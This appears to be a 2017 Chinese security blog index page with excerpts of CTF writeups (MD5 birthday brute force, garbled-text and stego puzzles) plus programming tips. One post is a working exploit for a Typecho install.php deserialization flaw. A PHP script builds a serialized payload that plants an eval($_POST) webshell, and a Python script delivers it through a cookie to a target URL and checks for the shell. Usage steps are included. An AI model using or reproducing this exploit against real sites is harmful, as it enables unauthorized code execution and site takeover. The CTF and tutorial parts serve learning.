wubba lubba dub dub.

题目:小明的生日-Writeup

97年出生的小明用自己的生日作为自己网站的密码,现在得到一串被篡改过一个字符的字符串,你能解出小明的生日吗?

0175501585710a89h5a60dc9ed2f88d7

纯考写脚本

思路就是md5碰撞去匹配生日,但是考点在如何从12*31个md5中去找到那个被修改了一位之前的md5

py中有现成的库difflib去比较两个字符串的相似程度,所以找出其中相似值最大的就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import hashlib
import difflib

days=[]

# 生成生日日期

for i in range(1,13):
if i <=9:
mounth='0'+str(i)
else:
mounth=str(i)
for j in range(1,32):
if j <=9:
day='0'+str(j)
else:
day=str(j)
birth='1997'+mounth+day
days.append(birth)

code='0175501585710a89h5a60dc9ed2f88d7'

result = {}
ratios = []


#碰撞md5,并计算相似值,以字典的形式储存最后读取出相似值最高的值

for day in days:
md5 = hashlib.md5(day.encode('utf-8')).hexdigest()
seq = difflib.SequenceMatcher(None,md5,code)
ratio = seq.ratio()
ratios.append(ratio)
result[ratio]=day
print ratio,day

tmax = max(ratios)
print tmax
print result[tmax]


Read More
post @ 2017-11-07

MISC

编码分析

取证隐写

大部分的CTF比赛中,取证及隐写两者密不可分,两者所需要的知识也相辅相成,所以这里也将对两者一起介绍。

任何要求检查一个静态数据文件从而获取隐藏信息的都可以被认为是隐写取证题(除非单纯地是密码学的知识),一些低分的隐写取证又常常与古典密码学结合在一起,而高分的题目则通常用与一些较为复杂的现代密码学知识结合在一起,很好地体现了Misc题的特点。

前置技能

  • 了解常见的编码

能够对文件中出现的一些编码进行解码,并且对一些特殊的编码(Base64,十六进制,二进制等)有一定的敏感度,对其进行转换并得到最终的flag。

  • 能够利用脚本语言(python)去操作二进制数据
  • 熟知常见文件的文件格式,尤其是 文件头,协议,结构等
  • 灵活运用常见的工具

python操作二进制数据

Read More

题干:乱码中的flag

密文:

1
2
3
4
5
6
7
8
9
10
11
fb+vArDN~wolP7`6DuZ0m@KFsw?ik{+.a1!xCsOyVzKJrsjp)$/T*}+kD0->i8GgA}U%mfXXoEyP,xHHuhIDtY>LaZo.E_)K]mwwzeyt:0MQ7Ses@X01z4C?rB],/y6sB1pe([3Qaz=2ur$e$yHhE.Cq>Clb(!@[39~a}ss$;aJD8@Vz$@qh4/o>6+Es833O*a.92*=4^YJ:mp^&l#Dn2O~<d8lalkJ&6WPesp33{(`-([3:!fK$Vik3^bWSG~]ql`J*hB_U:ZLQK#GNSl#4=-m0(Y#@aR2c7yj%Ko60opU6d2ar+UIQIkG;6P08x&ibi&ZNAl#lySal&f,G}`9ur[shD[LJ-6ob4;98}vD$T8w+gG<dt9w>k?hZZ]4?%.W1S*Jyz/)C+@)DiaeE~%-})YmeBka(hu>e`IZ9^?Z!A!6,e)X$g&G6npG-Ke.4IjP%[+.1ug-P8i+fI9bFnq)TyT4X]}9P@Co$W%tgy_uKx<h^U`gal)F0^.*svCMtzqt576]$cUR7tB[;tk@w>UWmH`UM~g-KUNoipz]bI1.&1e-tp*!z{^1Q?2BOytRSkZcRJ6*r7@=X?v8tCj0Y053)h_lpK5[x_l`lt@7NtYW:zPvijB#+3dUwt2HrH,uKN(*}D>=Cq)?SbS*9S(n1m6!iOzw0&wn`P5AsLoJ9XThC<)pe_R>@hV[me[v;d6+/_a_4g@-R`6qP#zD`8d,#):06!Qy?m{RQculp:nHe*_rm`Y%qP(xTGmwE/(8u**YDi7wk=bE5,_9){.P;3_J1W!eWnn8OKHTv,^*)#L0npJY-4%MxRwqWiJZ5iH>4En.-i[{Abs;p8}FYUh/+*PWs&mg]h<aTfIHA%$vw$(Y.zm,3DN1)s]la[>`cirnP`TPi`?EwmA]n!(1N*E~nD!sv[v{nV>{N)#>7ENc)g*sQmALczN{uFr@^2z<@Vx$1j:4b_S?,)4up8G~jB?[Ttw0CGa({m`R/m@![G[vwE6z#ezs1j}#LrOmai9G&0g0(XZ:c2US#F5lgc>{QRNw6KaUN-[#d(0S{JD8]=:Ma,Y=r^vu6%8dj`yup#^Jh?$U<@0tyB#JPY<A`;Rkd>Ksd6w91s}jH6Y5R=HoqmwbPj1>kMs~K5,nKiTplz-Oo(W,BMpm8l[VzdbUB)MBcMpIh~.JHJ.}.DRLCdI{.wZ$DY6!quF{:ojZTs`<x_JjFEkkR09B9<Ra*s6N2p;I72z=Dt927mB)nZ[rJFAme#;_N4vTE;E`YWN^uGv@Ny@JvVY=L9hYBo^QHY#!_g@{LLn?PSccxS3UXu1F!dN3KGp$y`hn8(.._,VU>njcg~vR9xZe0,5@Jb?q:33mjQ>dhr?q,Xs^+JTlS#`jV2;ys:+X/kF,^0jKP#N5x7PmG+sl<(ys~*yN5?)]Fy90f$G_5_]e$9ca$Q#7oxNX?smw`/*oqVq8X>s_)T^]@rwSd>74/4)Oso,(>6nFL?`~yp):4$8dX+zp6v0IlT6];LZ_AqR]hJHbBJ+DQ9Tt/Aj6po[gpr_m,^pO1^R:br`,Nof<5]Y,}









flag:bdctf{xxxx}

CTF中没有没有用处的提示,比如本题最下方写的flag:bdctf{xxxx}

仔细看这段乱码,第一个字母f,第11个字母是l,而a这个字母在第32位

所以找一下这些字母之间的位次规律

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>>str='fb+vArDN~wolP7`6DuZ0m@KFsw?ik{+.a1!xCsOyVzKJrsjp)$/T*}+kD0->i8GgA}U%mfXXoEyP,xHHuhIDtY>LaZo.E_)K]mwwzeyt:0MQ7Ses@X01z4C?rB],/y6sB1pe([3Qaz=2ur$e$yHhE.Cq>Clb(!@[39~a}ss$;aJD8@Vz$@qh4/o>6+Es833O*a.92*=4^YJ:mp^&l#Dn2O~<d8lalkJ&6WPesp33{(`-([3:!fK$Vik3^bWSG~]ql`J*hB_U:ZLQK#GNSl#4=-m0(Y#@aR2c7yj%Ko60opU6d2ar+UIQIkG;6P08x&ibi&ZNAl#lySal&f,G}`9ur[shD[LJ-6ob4;98}vD$T8w+gG<dt9w>k?hZZ]4?%.W1S*Jyz/)C+@)DiaeE~%-})YmeBka(hu>e`IZ9^?Z!A!6,e)X$g&G6npG-Ke.4IjP%[+.1ug-P8i+fI9bFnq)TyT4X]}9P@Co$W%tgy_uKx<h^U`gal)F0^.*svCMtzqt576]$cUR7tB[;tk@w>UWmH`UM~g-KUNoipz]bI1.&1e-tp*!z{^1Q?2BOytRSkZcRJ6*r7@=X?v8tCj0Y053)h_lpK5[x_l`lt@7NtYW:zPvijB#+3dUwt2HrH,uKN(*}D>=Cq)?SbS*9S(n1m6!iOzw0&wn`P5AsLoJ9XThC<)pe_R>@hV[me[v;d6+/_a_4g@-R`6qP#zD`8d,#):06!Qy?m{RQculp:nHe*_rm`Y%qP(xTGmwE/(8u**YDi7wk=bE5,_9){.P;3_J1W!eWnn8OKHTv,^*)#L0npJY-4%MxRwqWiJZ5iH>4En.-i[{Abs;p8}FYUh/+*PWs&mg]h<aTfIHA%$vw$(Y.zm,3DN1)s]la[>`cirnP`TPi`?EwmA]n!(1N*E~nD!sv[v{nV>{N)#>7ENc)g*sQmALczN{uFr@^2z<@Vx$1j:4b_S?,)4up8G~jB?[Ttw0CGa({m`R/m@![G[vwE6z#ezs1j}#LrOmai9G&0g0(XZ:c2US#F5lgc>{QRNw6KaUN-[#d(0S{JD8]=:Ma,Y=r^vu6%8dj`yup#^Jh?$U<@0tyB#JPY<A`;Rkd>Ksd6w91s}jH6Y5R=HoqmwbPj1>kMs~K5,nKiTplz-Oo(W,BMpm8l[VzdbUB)MBcMpIh~.JHJ.}.DRLCdI{.wZ$DY6!quF{:ojZTs`<x_JjFEkkR09B9<Ra*s6N2p;I72z=Dt927mB)nZ[rJFAme#;_N4vTE;E`YWN^uGv@Ny@JvVY=L9hYBo^QHY#!_g@{LLn?PSccxS3UXu1F!dN3KGp$y`hn8(.._,VU>njcg~vR9xZe0,5@Jb?q:33mjQ>dhr?q,Xs^+JTlS#`jV2;ys:+X/kF,^0jKP#N5x7PmG+sl<(ys~*yN5?)]Fy90f$G_5_]e$9ca$Q#7oxNX?smw`/*oqVq8X>s_)T^]@rwSd>74/4)Oso,(>6nFL?`~yp):4$8dX+zp6v0IlT6];LZ_AqR]hJHbBJ+DQ9Tt/Aj6po[gpr_m,^pO1^R:br`,Nof<5]Y,}'

>>> for i in 'flag:bdctf{':
print str.index(i)

0
11
32
63
104
1
216
287
84
0
29

看输出结果的前4个数

0-11 个位0->1,十位+1

11-32 个位1->2,十位+2

Read More
post @ 2017-10-28

(来源)[https://mp.weixin.qq.com/s/kra9OUpwCC7zotDVUmGWyQ]

exp.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

/**
* Created by PhpStorm.
* User: RaI4over
* Date: 2017/10/19
* Time: 15:17
* 生成 _typecho_config 的值
*/
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_charset;
private $_lang;
private $_items = array();

public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
{
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}

public function addItem(array $item)
{
$this->_items[] = $item;
}
}

class Typecho_Request
{
private $_params = array('screenName'=>'fputs(fopen(\'./a.php\',\'w\'),\'<?php @eval($_POST[minty]);?>\')');
private $_filter = array('assert');
//private $_filter = array('assert', array('Typecho_Response', 'redirect'));

}

$payload1 = new Typecho_Feed(5, 'ATOM 1.0');
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp['adapter'] = $payload1;
$exp['prefix'] = 'MxxY';
echo base64_encode(serialize($exp));

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import os

if __name__ == '__main__':
print ''' ____ ____ _ _ _
| __ ) _ _ | _ \ __ _(_) || | _____ _____ _ __
| _ \| | | | | |_) / _` | | || |_ / _ \ \ / / _ \ '__|
| |_) | |_| | | _ < (_| | |__ _| (_) \ V / __/ |
|____/ \__, | |_| \_\__,_|_| |_| \___/ \_/ \___|_|
|___/
'''

targert_url = 'https://xxxxx';

rsp = requests.get(targert_url + "/install.php");
if rsp.status_code != 200:
exit('The attack failed and the problem file does not exist !!!')
else:
print 'You are lucky, the problem file exists, immediately attack !!!'

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }

typecho_config = os.popen('php exp.php').read()

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config),
'Referer': targert_url}

url = targert_url + "/install.php?finish=1"

requests.get(url,headers=headers,allow_redirects=False)

shell_url = targert_url + '/a.php'
if requests.get(shell_url).status_code == 200:
print 'shell_url: ' + shell_url
else:
print "Getshell Fail!"

  • 将exp.php和exp.py放至同级目录,修改exp.py中的target_url为目标url
  • 一句话木马内容和路径可在exp.php中修改,修改后同样需要修改exp.py中的路径

另外

我在尝试修改exp时,想不使用php去获得payload,于是将执行php exp.php之后输出的base64编码还原为原文,但是在再次使用base64进行编码的时候发现编码后的base64值与之前的不一致,不知道为什么

测试脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

str="YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJlbiI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6ODA6ImZwdXRzKGZvcGVuKCcuL3Vzci90aGVtZXMvZGVmYXVsdC9pbWcvdGV3LnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW3hdKTs/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fXM6ODoiX3ZlcnNpb24iO2k6NTt9czo2OiJwcmVmaXgiO3M6ODoiUmFpNG92ZXIiO30="

str2=base64.b64decode(str)

print str2

code="""a:2:{s:7:"adapter";O:12:"Typecho_Feed":5:{s:19:"Typecho_Feed_type";s:8:"ATOM 1.0";s:22:"Typecho_Feed_charset";s:5:"UTF-8";s:19:"Typecho_Feed_lang";s:2:"en";s:20:"Typecho_Feed_items";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:80:"fputs(fopen('./usr/themes/default/img/tew.php','w'),'<?php @eval($_POST[x]);?>')";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}s:8:"_version";i:5;}s:6:"prefix";s:8:"Rai4over";}"""

str3 =base64.b64encode(code)

print str3==str
Read More

15年山东省赛的12题,某表姐发给我的。。

题干:现代西方文明是由古希腊罗马文明经由中世纪的基督教而到近代的工业文明独立发展演变而成的.希腊文明和罗马文明共同构成了古代西方文明..希腊文明是西方文明的摇篮。

密文:

markdown可能格式支持不太好。。

1
†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨S0∆˚≤˜©®∂ç≈√VZez˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚çdlMWYxY≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂2UxOƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåWFç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√jZGQ3¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µNzM5˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©NTYyO˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√Tc3çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬M˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©zky©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙N2Ey©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆MmZ∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬k¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆f˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆQ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©==˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω†ƒƒ˚˙√¬©˙ƒƒ∂ƒ©∆ˆ¨¨∆˚≤˜©®∂ç≈√˜∆©∂∂ßßßß˙˚¬¬¬≤µ∆˙√∂∂˚¬ˆ¨©√˙∆∆∆˚˚˚ç≈ç˙¨©ƒ∂ƒ∂∂∂ƒ˙∆˚¬¬¬˜˙˙©√çç∂ßß©∆ˆ¨¥ƒ©˙∆˜∫©ƒƒç≈∂ßåΩƒ©©åçåç∂´ƒ©˙ˆ∆˚¬µ˜øπœ®ß†¨√∑≈¥Ω

附张图:

看起来是这样的,神tm外星符号??

code

然后表姐说把里面数字和字母提取出来就好了,不过一个一个找好傻啊。。

瞅了半天才看见字母和数字(这题是考眼力???)。。然后写了个脚本

Read More
post @ 2017-10-21

作者:Eric Steven Raymond:《How To Ask Questions The Smart Way》

版本:3.9

修改时间:2013年4月13日

翻译:王刚(yafrank at 126 dot com)

翻译时间:2010年9月28日

王刚翻译版本

修改注释:陈锦辉(cnfeat at Gmail dot com)

修改注释时间:2014年5月15日

注释版本:3.9

摘要

Read More
post @ 2017-10-21

这是我遇见过最蛇皮的隐写。。。

题目来源不透露

题目文件: ctf.rar

Jng

解压后得到一张图片

{Mpng

拖进parrot,使用foremost分离

得到一个压缩包,解压得到图片 1.png
Vng

对这个1.png前前后后试了几百种隐写套路

然后。。

Read More
post @ 2017-10-02

老司机应该都知道C/C艹有个牛逼的头文件 include <bits/stdc++.h> 这个头文件包含了C艹的所有头文件

但是在宇宙第一IDE Visual Studio中并不自带,所以想用的话,就自己加呗

国外文档:

•This is just a method i used to make me able to include bits/stdc++.h

•in visual c++.

•for those had minGW installed on PC :

•C:\MinGW\mingw32\lib\gcc\mingw32\4.8.1\include\c++\mingw32\bits

•copy this folder and then go to this adress

•C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\include

•paste your folder. go to your visual studio project type bits you will see

Read More

在Python 环境下,使用PiP 命令安装时,报错提示: UnicodeEncodeError: ‘ascii’ codec can’t encode characters in position 1-5: ordinal not in range(128)

  1. 找到路径\Lib\site-packages
  2. 路径下新建文件 sitecustomize.py ,文件内容为:
1
2
3
import sys 
reload(sys)
sys.setdefaultencoding('gbk')
  1. 之后再使用pip 安装的时候,就解决问题了

PS:

  1. 在Python文件的有中文时: 一般会在文件的开头加上 #– codeing:utf-8 – 默认设置文件的编码方式为 utf-8
  2. 在文件中加入 import sys reload(sys) sys.setdefaultencoding(‘utf-8’) 设置在这个python 文件被调用的时候仍然使用utf-8 传输

Read More

2017年四川省网络安全技能大赛MISC&Crypto Writeup


MISC

misc100 扫一扫

打开是张图片

看起来是二维码实际上也就是二维码但就是扫不出来

把图片颜色反转

扫一扫

Read More
⬆︎TOP